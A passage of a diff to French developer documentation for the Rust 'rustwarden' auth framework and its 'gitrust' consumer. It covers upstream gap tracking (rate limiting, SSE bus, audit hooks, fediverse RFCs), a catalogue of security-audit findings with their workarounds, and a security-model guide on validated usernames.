| 418 | +**Cons** : migration interne du framework (refactor des 3 services existants) — risque de regression. Impl in-process seulement ; pour Redis multi-instance, prevoir un trait `RateLimitBackend` (out-of-scope v1). | |
| 419 | + | |
| 420 | +**Criteres d'acceptation** : | |
| 421 | +- [ ] `RateLimitService::check(key, per_minute)` public. | |
| 422 | +- [ ] `AppError::TooManyRequests { retry_after_secs }` avec mapping HTTP 429 + header `Retry-After`. | |
| 423 | +- [ ] `PasswordChangeService`, `PasswordResetService`, `EmailValidationService` refactors pour utiliser le service (tests existants passent sans modif). | |
| 424 | +- [ ] Cleanup loop documente (evite la fuite memoire sur les cles mortes). | |
| 425 | +- [ ] Tests : 10 appels OK dans la fenetre, 11e refuse, expiration de la fenetre libere. | |
| 426 | + | |
| 427 | +**Migration cote gitrust apres merge** : | |
| 428 | +1. Bump `rustwarden-core`. | |
| 429 | +2. Supprimer le module gitrust `rate_limit.rs` si cree temporairement. | |
| 430 | +3. Injecter `RateLimitService` en Extension dans `main.rs` et l'appeler dans les handlers d'import. | |
| 431 | + | |
| 432 | +### ~~7. Pas de SSE broadcaster (bus de notifications temps reel)~~ — RESOLU 2026-04-23 | |
| 433 | + | |
| 434 | +**Status** : Implemente dans Phase 6 du plan d'evolution ([docs/plans/2026-04-22-upstream-rustwarden-evolution.md](plans/2026-04-22-upstream-rustwarden-evolution.md)). | |
| 435 | + | |
| 436 | +Livre : | |
| 437 | +- Trait [`NotificationBus<T>`](../crates/rustwarden-core/src/notifications/mod.rs) generique avec `publish` et `subscribe(filter)`. | |
| 438 | +- Impl par defaut [`InMemoryBus<T>`](../crates/rustwarden-core/src/notifications/mod.rs) basee sur `tokio::sync::broadcast` — slow consumer drop proprement via `BroadcastStream::filter_map`, publisher ne panique pas sur receiver drop. | |
| 439 | +- Helper axum [`sse::sse_response`](../crates/rustwarden-core/src/notifications/sse.rs) avec `KeepAlive(30s)` + JSON serialisation + drop silencieux des events non serialisables. | |
| 440 | +- 7 tests (no-subscriber noop, delivery, multi-subscribers, filter, drop-safe, lag handling, sse response integration). | |
| 441 | +- Feature `redis-bus` documentee comme extension v2 (hors scope v1). | |
| 442 | + | |
| 443 | +--- | |
| 444 | + | |
| 445 | +### 7bis. Details historiques (avant resolution) | |
| 446 | + | |
| 447 | +**Date de detection** : 2026-04-21 (inventaire dette technique — plan `import-async-worker.md`). | |
| 448 | + | |
| 449 | +**Contexte** : plusieurs fonctionnalites gitrust necessitent de pousser des evenements temps reel au navigateur via Server-Sent Events : | |
| 450 | +- Barre de progression d'import de repo (`GET /imports/:id/stream`). | |
| 451 | +- Notifications CI (deja en prod cote gitrust — Phase 5). | |
| 452 | +- Futurs besoins : live logs push/receive-pack, notifications d'issue/PR. | |
| 453 | + | |
| 454 | +**Limitation du framework** : aucun bus de notifications dans rustwarden-core. Le plan initial de l'import async evoquait "reutiliser `sse_broadcaster` framework" — c'etait une supposition erronee (verification grep : aucun `broadcast::`, aucun `axum::response::sse`, aucun `Sse::new` dans `crates/rustwarden-core/`). | |
| 455 | + | |
| 456 | +**Workaround actuel cote gitrust** : bus SSE existe cote gitrust pour la Phase 5 (notifications + CI live logs). Emplacement a verifier (probable `crates/gitrust-web/src/sse.rs` ou `crates/gitrust-core/src/notifications/`). L'import async-worker viendrait republier dessus ses `ImportProgress { job_id, received_bytes, total_bytes, phase }`. | |
| 457 | + | |
| 458 | +**Proposition upstream** : trait generique `NotificationBus<T>` dans le framework avec impl in-memory par defaut. | |
| 459 | + | |
| 460 | +```rust | |
| 461 | +#[async_trait] | |
| 462 | +pub trait NotificationBus<T: Clone + Send + Sync + 'static>: Send + Sync { | |
| 463 | + /// Publie a tous les abonnes matchant le filtre. | |
| 464 | + async fn publish(&self, event: T); | |
| 465 | + | |
| 466 | + /// Souscrit avec filtre. Retourne un flux tokio-stream. | |
| 467 | + fn subscribe(&self, filter: impl Fn(&T) -> bool + Send + Sync + 'static) | |
| 468 | + -> Pin<Box<dyn Stream<Item = T> + Send>>; | |
| 469 | +} | |
| 470 | + | |
| 471 | +pub struct InMemoryBus<T> { tx: broadcast::Sender<T> } | |
| 472 | +impl<T: Clone + Send + Sync + 'static> NotificationBus<T> for InMemoryBus<T> { ... } | |
| 473 | + | |
| 474 | +// Helper axum pour convertir une souscription en reponse SSE | |
| 475 | +pub fn sse_response<T: Serialize>(stream: impl Stream<Item = T>) -> Sse<impl Stream<...>>; | |
| 476 | +``` | |
| 477 | + | |
| 478 | +Feature optionnelle `redis-bus` pour impl multi-instance. | |
| 479 | + | |
| 480 | +**Pros** : reutilisable par toutes les apps (gitrust import/CI, PasterMan wall updates). Le helper `sse_response` encapsule `KeepAlive` + serialisation JSON + gestion deconnexion (boilerplate aujourd'hui repete). | |
| 481 | +**Cons** : generique `T` complique (certains consommateurs voudront un bus global heterogene — alternative : `NotificationBus<serde_json::Value>` avec `event_type` tag). Impl Redis feature-gated pour eviter de tirer la dep. | |
| 482 | + | |
| 483 | +**Criteres d'acceptation** : | |
| 484 | +- [ ] Trait `NotificationBus<T>` + impl `InMemoryBus` sur `tokio::sync::broadcast`. | |
| 485 | +- [ ] Helper `sse_response(stream)` produisant `axum::response::sse::Sse` avec `KeepAlive` (30s par defaut). | |
| 486 | +- [ ] Gestion de la deconnexion client : le stream drop ne doit pas faire paniquer le publisher. | |
| 487 | +- [ ] Tests : publish + multiple subscribers + filter discriminant + lag handling (broadcast `Lagged`). | |
| 488 | +- [ ] Doc inline avec exemple complet (worker publie, handler souscrit, client JS `EventSource`). | |
| 489 | + | |
| 490 | +**Migration cote gitrust apres merge** : | |
| 491 | +1. Bump `rustwarden-core`. | |
| 492 | +2. Remplacer le bus gitrust local par `InMemoryBus<NotificationEvent>` framework. | |
| 493 | +3. Remplacer les handlers SSE custom par `sse_response(bus.subscribe(filter))`. | |
| 494 | +4. Publier `ImportProgress` sur le bus depuis `import_worker`. | |
| 495 | + | |
| 496 | +### ~~8. Hooks `RustwardenHooks` — manquent audit generique + team events + resource lifecycle~~ — RESOLU 2026-04-22 | |
| 497 | + | |
| 498 | +**Status** : Implemente dans Phase 3 du plan d'evolution ([docs/plans/2026-04-22-upstream-rustwarden-evolution.md](plans/2026-04-22-upstream-rustwarden-evolution.md)). | |
| 499 | + | |
| 500 | +Ajoutes avec impl par defaut no-op (backwards-compatible) : | |
| 501 | +- `on_resource_registered(db, resource_type, resource_id, owner_id)` | |
| 502 | +- `on_resource_unregistered(db, resource_type, resource_id)` | |
| 503 | +- `on_team_created(db, team_id, owner_id)` / `on_team_deleted(db, team_id)` | |
| 504 | +- `on_team_member_added(db, team_id, user_id)` / `on_team_member_removed(db, team_id, user_id)` | |
| 505 | +- `on_audit_event(db, AuditEvent { kind, actor_id, target, metadata })` — generique | |
| 506 | + | |
| 507 | +`AuthLoggingService::log_blocked_login` emet maintenant un `AuditEvent { kind: "auth.login_blocked" }` quand des hooks sont cables. Tests d'integration DB vert (5 tests). | |
| 508 | + | |
| 509 | +--- | |
| 510 | + | |
| 511 | +### 8bis. Details historiques (avant resolution) | |
| 512 | + | |
| 513 | +**Date de detection** : 2026-04-21 (inventaire dette technique — LOTs 12/13 Issues/PR). | |
| 514 | +**Revision** : 2026-04-22 — audit du code a revele que le trait expose deja 12 hooks (et non 4 comme ecrit initialement). La proposition est recentree sur les vrais manques. | |
| 515 | + | |
| 516 | +**Etat actuel** : [`RustwardenHooks`](../crates/rustwarden-core/src/hooks.rs) expose deja 12 evenements : | |
| 517 | +- User lifecycle : `on_user_registered`, `on_user_login`, `on_user_logout`, `on_user_deleted` | |
| 518 | +- Credentials : `on_password_changed`, `on_email_verified`, `on_totp_enabled`, `on_totp_disabled`, `on_oauth_login` | |
| 519 | +- RBAC : `on_role_changed` | |
| 520 | +- Resources : `on_resource_shared`, `on_resource_unshared` | |
| 521 | + | |
| 522 | +**Manques reels** pour les futurs LOTs gitrust (Issues, Pull Requests, Teams) et pour tout audit transverse, les consommateurs veulent : | |
| 523 | +- Un hook generique `on_audit_event(kind, actor, target, metadata)` pour centraliser la logique de log/notification/indexation sans polluer chaque service. | |
| 524 | +- Des hooks cibles `on_team_created`, `on_team_deleted`, `on_team_member_added`, `on_team_member_removed` (prerequis du gap-5). | |
| 525 | +- Un hook `on_resource_registered` / `on_resource_unregistered` (gitrust-hooks loggue deja pour "repository" sans hook : code plus propre avec un hook). | |
| 526 | + | |
| 527 | +**Limitation du framework** : le trait est ferme par design (pas de methode par defaut pour les nouveaux variants sans casser les implementeurs). | |
| 528 | + | |
| 529 | +**Workaround actuel cote gitrust** : | |
| 530 | +- Pour les evenements sensibles : appel direct a [`AuthLoggingService::log_*`](../crates/rustwarden-core/src/services/auth_logging_service.rs) depuis les handlers (pattern deja en place pour ban manuel, acl add). | |
| 531 | +- Pour les Issues/PR : prevoir des hooks **gitrust-locaux** (`GitrustHooks` trait dans `gitrust-core`) sans modifier le framework. Cout : fragmentation (deux systemes de hooks coexistants). | |
| 532 | + | |
| 533 | +**Proposition upstream** : evoluer `RustwardenHooks` en deux temps. | |
| 534 | + | |
| 535 | +**Phase A** — ajouter les hooks manquants avec impl par defaut `async { Ok(()) }` (backwards-compatible) : | |
| 536 | + | |
| 537 | +```rust | |
| 538 | +#[async_trait] | |
| 539 | +pub trait RustwardenHooks: Send + Sync { | |
| 540 | + // Existants | |
| 541 | + async fn on_user_registered(&self, user: &UserRecord) -> Result<()> { Ok(()) } | |
| 542 | + async fn on_user_deleted(&self, user_id: Uuid) -> Result<()> { Ok(()) } | |
| 543 | + async fn on_resource_shared(&self, rt: &str, rid: Uuid, target: Uuid, perm: &str) -> Result<()> { Ok(()) } | |
| 544 | + async fn on_resource_unshared(&self, rt: &str, rid: Uuid, target: Uuid) -> Result<()> { Ok(()) } | |
| 545 | + | |
| 546 | + // Nouveaux | |
| 547 | + async fn on_resource_registered(&self, rt: &str, rid: Uuid, owner_id: Uuid) -> Result<()> { Ok(()) } | |
| 548 | + async fn on_resource_unregistered(&self, rt: &str, rid: Uuid) -> Result<()> { Ok(()) } | |
| 549 | + async fn on_team_created(&self, team_id: Uuid, owner_id: Uuid) -> Result<()> { Ok(()) } | |
| 550 | + async fn on_team_deleted(&self, team_id: Uuid) -> Result<()> { Ok(()) } | |
| 551 | + async fn on_team_member_added(&self, team_id: Uuid, user_id: Uuid) -> Result<()> { Ok(()) } | |
| 552 | + async fn on_team_member_removed(&self, team_id: Uuid, user_id: Uuid) -> Result<()> { Ok(()) } | |
| 553 | + | |
| 554 | + // Generique (escape hatch pour evenements custom) | |
| 555 | + async fn on_audit_event(&self, event: AuditEvent<'_>) -> Result<()> { Ok(()) } | |
| 556 | +} | |
| 557 | + | |
| 558 | +pub struct AuditEvent<'a> { | |
| 559 | + pub kind: &'a str, // ex. "issue.created", "pr.merged" | |
| 560 | + pub actor_id: Option<Uuid>, | |
| 561 | + pub target: Option<(&'a str, Uuid)>, // (resource_type, resource_id) | |
| 562 | + pub metadata: &'a serde_json::Value, | |
| 563 | +} | |
| 564 | +``` | |
| 565 | + | |
| 566 | +**Phase B** (optionnelle) — cabler `AuthLoggingService::log_*` pour appeler aussi `on_audit_event` afin que les consommateurs puissent brancher du monitoring sans reecrire la liaison. | |
| 567 | + | |
| 568 | +**Pros** : backwards-compatible (methodes par defaut). `on_audit_event` offre un escape hatch pour les LOTs gitrust (Issues, PR) sans forcer a ajouter un hook framework pour chaque type d'evenement. Prepare le terrain pour le gap-5 (TeamService). | |
| 569 | +**Cons** : proliferation de methodes dans le trait (11 methodes a terme). Alternative : un seul `on_event(event: FrameworkEvent<'_>)` avec enum exhaustif — mais bloque les consommateurs sur l'enum framework. | |
| 570 | + | |
| 571 | +**Criteres d'acceptation** : | |
| 572 | +- [ ] Nouveaux hooks ajoutes avec `async { Ok(()) }` par defaut (`gitrust-hooks` existant compile sans modif). | |
| 573 | +- [ ] `AuditEvent<'_>` documente avec 2-3 exemples d'usage. | |
| 574 | +- [ ] `AuthLoggingService::log_*` appelle `on_audit_event` (phase B). | |
| 575 | +- [ ] Tests : impl vide compile, impl complete recoit bien chaque variant, erreur dans hook est propagee. | |
| 576 | + | |
| 577 | +**Migration cote gitrust apres merge** : | |
| 578 | +1. Bump `rustwarden-core`. | |
| 579 | +2. `gitrust-hooks` implemente `on_resource_registered` (replace la logique actuelle qui filtre par `resource_type == "repository"`). | |
| 580 | +3. Implementer `on_team_*` quand LOT 14 arrive. | |
| 581 | +4. Utiliser `on_audit_event` pour les Issues/PR (LOTs 12/13) au lieu de creer un `GitrustHooks` local. | |
| 582 | + | |
| 583 | +--- | |
| 584 | + | |
| 585 | +## 9. Federation ActivityPub — RFCs gitrust soumises upstream | |
| 586 | + | |
| 587 | +Section ajoutee 2026-05-16 suite a l'integration fediverse cote gitrust (Lot 2 du plan [`docs/plans/2026-05-15-fediverse-integration-gitrust.md`](plans/2026-05-15-fediverse-integration-gitrust.md)). Quatre propositions soumises, toutes resolues upstream. | |
| 588 | + | |
| 589 | +### ~~9.1 Partage de ressource avec une identite remote~~ — RESOLU 2026-05-15 (RFC upstream 0029) | |
| 590 | + | |
| 591 | +**RFC gitrust** : [docs/rfcs/0001-fediverse-remote-resource-shares.md](rfcs/0001-fediverse-remote-resource-shares.md). Score 33/35. | |
| 592 | + | |
| 593 | +**Solution upstream** : nouveau service `rustwarden_fediverse::services::remote_resource_share_service::RemoteResourceShareService` + nouvelle table `fediverse_resource_shares` (migration `m20260516_000002_remote_resource_shares`). | |
| 594 | + | |
| 595 | +**API a consommer cote gitrust** : | |
| 596 | +```rust | |
| 597 | +use rustwarden_core::identity::Identity; | |
| 598 | +use rustwarden_core::services::resource_service::ResourceService; | |
| 599 | +use rustwarden_fediverse::services::remote_resource_share_service::RemoteResourceShareService; | |
| 600 | + | |
| 601 | +let level = match identity { | |
| 602 | + Identity::Local(uid) => ResourceService::effective_permission_for_user(&db, uid, "repo", repo_id).await?, | |
| 603 | + Identity::Remote(rid) => RemoteResourceShareService::effective_permission_for_remote_identity(&db, "repo", repo_id, rid).await?, | |
| 604 | +}; | |
| 605 | +``` | |
| 606 | + | |
| 607 | +**A consommer** : Lot 5.1 du plan fediverse, quand on activera le scenario "collaborateurs repo cross-instance". | |
| 608 | + | |
| 609 | +### ~~9.2 Personal Access Tokens pour identites remote~~ — RESOLU 2026-05-15 (RFC upstream 0030) | |
| 610 | + | |
| 611 | +**RFC gitrust** : [docs/rfcs/0002-fediverse-remote-personal-access-tokens.md](rfcs/0002-fediverse-remote-personal-access-tokens.md). Score 34/35. | |
| 612 | + | |
| 613 | +**Solution upstream** : nouveau service `rustwarden_fediverse::services::remote_personal_access_token_service::RemotePersonalAccessTokenService<S>` + table `fediverse_personal_access_tokens` (migration `m20260516_000003_remote_pat`). Prefixe token distinct : `rwfed_pat_<64 hex>`. | |
| 614 | + | |
| 615 | +**API a consommer cote gitrust** (Lot 5.3 du plan fediverse) : | |
| 616 | +```rust | |
| 617 | +// Discrimination par prefixe : | |
| 618 | +if plaintext.starts_with("rwfed_pat_") { | |
| 619 | + RemotePersonalAccessTokenService::<GitrustScope>::verify(&db, &plaintext).await? | |
| 620 | + .map(|(m, s)| (Identity::Remote(m.remote_identity_id), s)) | |
| 621 | +} else { | |
| 622 | + PersonalTokenService::<GitrustScope>::verify(&db, &plaintext).await? | |
| 623 | + .ok() | |
| 624 | + .map(|(m, s)| (Identity::Local(m.user_id), s)) | |
| 625 | +} | |
| 626 | +``` | |
| 627 | + | |
| 628 | +### ~~9.3 Membership de team avec une identite remote~~ — RESOLU 2026-05-15 (approche alternative upstream) | |
| 629 | + | |
| 630 | +**RFC gitrust** : [docs/rfcs/0003-fediverse-remote-team-memberships.md](rfcs/0003-fediverse-remote-team-memberships.md). Score 33/35. **Statut** : superseded. | |
| 631 | + | |
| 632 | +**Decision upstream** : la RFC 0003 a ete **rejetee dans sa forme initiale** (table separee `fediverse_team_memberships`) au profit d'une **approche pragmatique alternative** : | |
| 633 | + | |
| 634 | +- **Migration `m20260510_000016` framework** : `team_members.user_id` rendu NULLABLE + PK historique `(team_id, user_id)` remplacee par PK synthetique `id: Uuid`. | |
| 635 | +- **Migration `m20260510_000015` framework** : nouvel index partial unique `team_members_remote_unique` sur `(team_id, remote_identity_id) WHERE remote_identity_id IS NOT NULL`. | |
| 636 | +- **API `TeamService::add_member_identity(db, team_id, identity: Identity, role, hooks)`** Identity-aware : pour `Identity::Local` delegue a `add_member` ; pour `Identity::Remote` insere une row avec `user_id = NULL` et `remote_identity_id = Some(rid)`. Declenche `on_team_member_added` dans les deux cas. | |
| 637 | +- **`FediverseInviteService::accept(db, invite_id, remote_id)`** materialise effectivement la membership a l'acceptation d'une invite cross-instance (auparavant silent no-op de la RFC 0014). | |
| 638 | +- **`FediverseSignalService::apply_revoke_membership(db, team_id, remote_id)`** drop la row team_members correspondante quand un `Revoke{Membership}` AP entre. | |
| 639 | + | |
| 640 | +**Argument upstream** : pour les memberships, la semantique `team ↔ identity` est identique peu importe la nature du principal — donc l'extension de la table existante est plus pragmatique que la creation d'une table separee (comme pour resource_shares et PAT, ou la semantique d'ownership remote est distincte). | |
| 641 | + | |
| 642 | +**Contournement applique cote gitrust** : aucun. **Consommer directement l'API upstream** : | |
| 643 | +```rust | |
| 644 | +// Ajouter une identite (locale OU remote) a une team : | |
| 645 | +TeamService::add_member_identity( | |
| 646 | + &db, team_id, Identity::Remote(remote_identity_id), role, &hooks, | |
| 647 | +).await?; | |
| 648 | + | |
| 649 | +// Lister tous les membres (locaux + remote en une requete) : | |
| 650 | +let members = TeamService::list_members(&db, team_id).await?; | |
| 651 | +// Chaque team_member::Model expose user_id: Option<Uuid> + remote_identity_id: Option<Uuid> | |
| 652 | +``` | |
| 653 | + | |
| 654 | +**Audit obligatoire** : la migration `m20260510_000016` a rendu `team_members.user_id` NULLABLE. **Toute requete SQL gitrust qui supposait `user_id NOT NULL` doit etre corrigee**. Verifie au Lot 0 : | |
| 655 | +- [crates/gitrust-web/src/handlers/user_teams.rs:411, 416, 478](../crates/gitrust-web/src/handlers/user_teams.rs) — skip-and-continue les remote. | |
| 656 | +- [crates/gitrust-web/src/handlers/admin_teams.rs:164, 169](../crates/gitrust-web/src/handlers/admin_teams.rs) — idem. | |
| 657 | +- [crates/gitrust-web/src/handlers/user_teams.rs:49, 365](../crates/gitrust-web/src/handlers/user_teams.rs) — `find_by_id((tuple))` → `find().filter().filter()` (PK synthetique). | |
| 658 | + | |
| 659 | +**A finaliser** : Lot 5.4 du plan fediverse — adapter `RepositoryService::effective_role_via_teams_for_identity` cote gitrust-core pour interroger `team_members` avec un filtre `user_id OR remote_identity_id` selon l'`Identity` presentee. | |
| 660 | + | |
| 661 | +### ~~9.4 `AuthService` optional-auth fallback `AuthConfig::from_env()`~~ — RESOLU 2026-05-16 (RFC upstream 0031) | |
| 662 | + | |
| 663 | +**RFC gitrust** : [docs/rfcs/0031-auth-service-optional-fallback.md](rfcs/0031-auth-service-optional-fallback.md). Score 34/35. | |
| 664 | + | |
| 665 | +**Probleme** : la branche "optional auth" du middleware `AuthService` ne faisait pas le fallback `AuthConfig::from_env()` quand `Extension(Arc<AuthConfig>)` etait absent des request.extensions (cas typique selon l'ordre des layers tower). Resultat : claims jamais injectes pour les routes hors `protected_prefixes` (e.g. `/dashboard`), redirect silencieux vers `/login` malgre un cookie JWT valide. | |
| 666 | + | |
| 667 | +**Solution upstream** : alignement de la branche optional avec la branche protected — fallback `AuthConfig::from_env()` ajoute. Cf. [auth_service.rs:331](../crates/rustwarden-core/src/middleware/auth_service.rs#L331) "RFC 0031: mirror the protected branch fallback...". | |
| 668 | + | |
| 669 | +**Contournement applique cote gitrust** : prefixes reenregistres en 2026-09-17 (audit F-AUTH / plan A3) dans `src/main.rs` : `/dashboard`, `/settings`, `/teams`, `/notifications`, `/new`, `/imports`. A conserver jusqu'au merge du RFC A3 + `update-project`. | |
| 670 | + | |
| 671 | +--- | |
| 672 | + | |
| 673 | +## Catalogue audit securite 2026-09-17 (PRs / RFC rustwarden) | |
| 674 | + | |
| 675 | +Frontiere : **ne jamais patcher `crates/rustwarden-core/`**. Chaque gap ci-dessous a un workaround Gitrust deja en place. Ouvrir les tickets dans le depot Rustwarden (`~/Documents/devel/Rustwarden`), puis `update-project`. | |
| 676 | + | |
| 677 | +### PRs Security (pas de RFC — bug interne ou liste de hardening) | |
| 678 | + | |
| 679 | +| ID | Constat | Action upstream | Workaround Gitrust | | |
| 680 | +|----|---------|-----------------|--------------------| | |
| 681 | +| E-3 | Anti-brute-force TOTP compte les challenges, pas les essais | Sommer `attempts` sur 15 min, plafond global (ex. 15) | Rate-limit `totp:<user>` + IP sur `POST /login/2fa` | | |
| 682 | +| C-7 | Placeholder `JWT_SECRET=REMPLACER_…` absent de `KNOWN_EXAMPLES` | Ajouter le marqueur Gitrust (et variantes CHANGE/EXAMPLE/TODO) a `KNOWN_EXAMPLES` dans `config/auth.rs` | Garde `reject_placeholder_jwt_secret()` dans `src/main.rs` | | |
| 683 | +| M-3 | Rate limit email inerte (nouvelle instance par requete) | Limiteur partagé (static / injecté) pour `PasswordResetService` / `EmailValidationService` | `OnceLock<PasswordResetService>` + limiteur IP | | |
| 684 | +| M-8 | `bcrypt::verify` synchrone sur backup codes | `spawn_blocking` + comparaison sans court-circuit | Couvert par le rate-limit TOTP | | |
| 685 | +| M-2 | `PasswordResetService::reset_password` n'appelle pas la complexité | Appeler `validate_password_complexity` dans le service (si traité comme bug) | Validation Gitrust avant `hash_password` / reset | | |
| 686 | +| E-12 | bumps `bcrypt` / `rustls` / `h2` | Bump dans le `Cargo.toml` framework | `russh` 0.60.3 cote gitrust-ssh ; audit Dagger `--deny warnings` | | |
| 687 | + | |
| 688 | +### RFC (changement d'API, de defaut, de schema ou de politique de secu) | |
| 689 | + | |
| 690 | +| ID | Constat | Nature RFC | Workaround Gitrust | | |
| 691 | +|----|---------|------------|--------------------| | |
| 692 | +| M-1 | `username` non valide | Validation charset dans `UserService::create_user` + `RegisterRequest` | Newtype `Username` avant tout appel framework | | |
| 693 | +| M-10 | CSP `unsafe-inline` + `unsafe-eval` | Politique de secu par defaut, ou API `security_headers_config` additive | `SetResponseHeaderLayer::overriding` + JS externe | | |
| 694 | +| M-5 | Changement d'email conserve `email_verified` | Flux confirmation + alerte ancienne adresse (schema probable) | Handler profil refuse le changement d'email | | |
| 695 | +| M-7 | Pas d'anti-rejeu TOTP | Colonne `last_used_step` (migration) | `RateLimitService` `totp_code:{user}:{code}` 90 s | | |
| 696 | +| E-4 | `AuthService` ignore `validation_email_required` | Refus par defaut des emails non verifies | Check Gitrust apres `authenticate_user` | | |
| 697 | +| E-2 | Limiteur login seulement sur `/api/v1/auth/login` | Exposer le limiteur aussi sur le canal browser | `OnceLock<RateLimitService>` SSR | | |
| 698 | +| F-UI | En-tetes COOP/CORP | En-tetes securite configurables | Override Gitrust (`same-origin`) | | |
| 699 | + | |
| 700 | +Gitrust n'attend **pas** ces RFC pour se proteger : les workarounds des lots 1–4 ferment les scenarios A–D. | |
| 701 | + | |
| 702 | +--- | |
| 703 | + | |
| 704 | +## Protocole de remontee upstream | |
| 705 | + | |
| 706 | +Quand une amelioration est mergee upstream : | |
| 707 | +1. Ajouter une ligne dans `CHANGELOG.md` cote gitrust : `resolved upstream: <nom>`. | |
| 708 | +2. Supprimer la section correspondante de ce fichier. | |
| 709 | +3. Creer un ticket de migration si necessaire (decompactage du workaround + bump de version). | |
| 710 | + | |
| 711 | +Les sections restent dans ce fichier tant que l'amelioration n'est pas dispo en release stable du framework — c'est la source unique pour eviter d'oublier un workaround actif. |
M
docs/developer-guide/07-security-model.md
+296
-5
@@ -19,6 +19,11 @@ Ce document décrit les contrôles de sécurité mis en œuvre dans Rustwarden :
| 19 | 19 | | Clickjacking | `frame-ancestors 'none'` dans CSP + X-Frame-Options | [`app.rs`](../../crates/rustwarden-core/src/app.rs#L737) | |
| 20 | 20 | | Open redirect | Validation du paramètre `redirect` (doit commencer par `/`) | middleware `auth_required` | |
| 21 | 21 | | Fuite de session via TOTP brute-force | Max 5 tentatives par challenge, 5 min TTL | [`services/totp_service.rs`](../../crates/rustwarden-core/src/services/totp_service.rs) | |
| 22 | +| Rejeu d'un code TOTP valide (multi-réplicas) | `user_totp.last_used_step` consommé par compare-and-set SQL (RFC 0037) | [`services/totp_service.rs`](../../crates/rustwarden-core/src/services/totp_service.rs) | | |
| 23 | +| Injection via username (chemins d'URL, logs, templates) | Newtype `Username` sur les frontières d'écriture (RFC 0036) | [`types/username.rs`](../../crates/rustwarden-core/src/types/username.rs) | | |
| 24 | +| Prise de contrôle par changement d'e-mail | Flux en deux temps : mot de passe courant exigé, adresse écrite seulement après clic sur le lien envoyé à la nouvelle boîte, alerte + lien de signalement à l'ancienne, sessions révoquées à la confirmation (RFC 0041) | [`services/email_change_service.rs`](../../crates/rustwarden-core/src/services/email_change_service.rs) | | |
| 25 | +| Confirmation déclenchée par le préchargement d'un lien (passerelle anti-phishing) | Page interstitielle : aucun `GET` n'a d'effet de bord, l'action passe par le `POST` d'un formulaire (RFC 0041) | [`auth/email_change_pages.rs`](../../crates/rustwarden-core/src/auth/email_change_pages.rs) | | |
| 26 | +| Contournement de la politique « e-mail vérifié » par appel direct au service | Contrôle déplacé dans `AuthService::authenticate_user` (RFC 0040) | [`services/auth_service.rs`](../../crates/rustwarden-core/src/services/auth_service.rs) | | |
| 22 | 27 | | Élévation de privilèges via lien OAuth | Vérification email vérifié par le provider | [`services/oauth/service.rs`](../../crates/rustwarden-core/src/services/oauth/service.rs) | |
| 23 | 28 | | Déni de service mémoire sur rate limiter | Cap à 100 000 entrées distinctes | [`services/rate_limit_service.rs`](../../crates/rustwarden-core/src/services/rate_limit_service.rs) | |
| 24 | 29 |
@@ -197,6 +202,86 @@ Les administrateurs peuvent forcer un changement de mot de passe via le flag `mu
| 197 | 202 | |
| 198 | 203 | --- |
| 199 | 204 | |
| 205 | +## Politique de nommage des comptes (`Username`) | |
| 206 | + | |
| 207 | +Depuis la [RFC 0036](../rfcs/0036-username-charset-validation.md), un username n'est plus une `String` libre bornée en longueur : c'est un newtype validé, [`rustwarden_core::types::Username`](../../crates/rustwarden-core/src/types/username.rs), re-exporté par le prelude. Il est calqué sur `TeamSlug` et suit les règles de GitHub. | |
| 208 | + | |
| 209 | +### Règles appliquées par `Username::parse` | |
| 210 | + | |
| 211 | +| Règle | Détail | | |
| 212 | +|---|---| | |
| 213 | +| Longueur | 3 à 39 caractères, mesurés **après `trim()`** | | |
| 214 | +| Charset | `[a-z0-9-]` uniquement (minuscules ASCII, chiffres, tiret) | | |
| 215 | +| Majuscules | **Rejetées**, jamais repliées : `Alice` renvoie une erreur, il ne devient pas `alice` | | |
| 216 | +| Tirets | Ni en tête ni en queue, pas de `--` consécutifs | | |
| 217 | +| Noms réservés | `types::team_slug::RESERVED` + `EXTRA_RESERVED` (`me`, `explore`) | | |
| 218 | + | |
| 219 | +Le rejet des majuscules plutôt qu'un `to_lowercase()` silencieux est un choix de sécurité : un fold implicite permettrait à `Alice` et `alice` d'entrer en collision sur la même ligne, ou de créer un compte visuellement différent d'un compte existant. Toute violation renvoie `AppError::Validation` → HTTP 400. | |
| 220 | + | |
| 221 | +### Où la règle est appliquée | |
| 222 | + | |
| 223 | +Une seule **porte de validation** — `UserService::create_user` — plus un contrôle de frontière publique sur `POST /api/v1/auth/register` (défense en profondeur, `RegisterRequest.username` est borné à 39 côté `validator`). | |
| 224 | + | |
| 225 | +```mermaid | |
| 226 | +flowchart TD | |
| 227 | + REG["POST /api/v1/auth/register"] --> PARSE1["Username::parse()"] | |
| 228 | + ADMIN["Handler admin / provisioning"] --> CREATE | |
| 229 | + PARSE1 --> CREATE["UserService::create_user()"] | |
| 230 | + CREATE --> PARSE2["Username::parse() — porte unique"] | |
| 231 | + PARSE2 --> INSERT[("INSERT users")] | |
| 232 | + | |
| 233 | + BOOT["ensure_default_admin()"] --> ALLOW["create_user_allow_reserved()\nUsername::parse_allow_reserved()"] | |
| 234 | + ALLOW --> INSERT | |
| 235 | + | |
| 236 | + PROFILE["update_profile(username = Some(x))"] --> SAME{"x == username courant ?"} | |
| 237 | + SAME -->|Oui| NOOP["No-op — grandfathering préservé"] | |
| 238 | + SAME -->|Non| PARSE3["Username::parse() + contrôle d'unicité"] | |
| 239 | + PARSE3 --> UPDATE[("UPDATE users")] | |
| 240 | +``` | |
| 241 | + | |
| 242 | +`create_user_allow_reserved` est `pub(crate)` et **réservé à `ensure_default_admin`** : il accepte les noms réservés (pour que `ADMIN_USERNAME=admin` continue de booter) mais applique toujours le charset et la longueur. `AdminConfig::validate` délègue au même parse permissif — un `ADMIN_USERNAME` avec une majuscule ou un `_` fait **échouer le boot** sur le chemin de création de l'admin. | |
| 243 | + | |
| 244 | +### Grandfathering | |
| 245 | + | |
| 246 | +Aucun `CHECK` SQL n'a été ajouté, aucune migration ne réécrit les lignes existantes. Conséquences : | |
| 247 | + | |
| 248 | +- un compte historique hors charset (`John_Doe`, `alice.bob`) **se connecte toujours** — les chemins de lecture n'appellent jamais `parse` ; | |
| 249 | +- `update_profile` ne valide que sur un **vrai rename**. Si le client renvoie le username courant (les formulaires de profil postent tous les champs), c'est un no-op complet ; | |
| 250 | +- ce même compte ne peut pas être renommé vers une autre valeur hors charset. | |
| 251 | + | |
| 252 | +### Utiliser `Username` dans votre propre code | |
| 253 | + | |
| 254 | +Utile dès que vous générez ou acceptez un identifiant avant de le confier au framework (import LDAP, provisioning SSO, seed, CLI d'administration) : | |
| 255 | + | |
| 256 | +```rust | |
| 257 | +use rustwarden_core::prelude::*; // Username, UserService, AppError | |
| 258 | + | |
| 259 | +async fn provision( | |
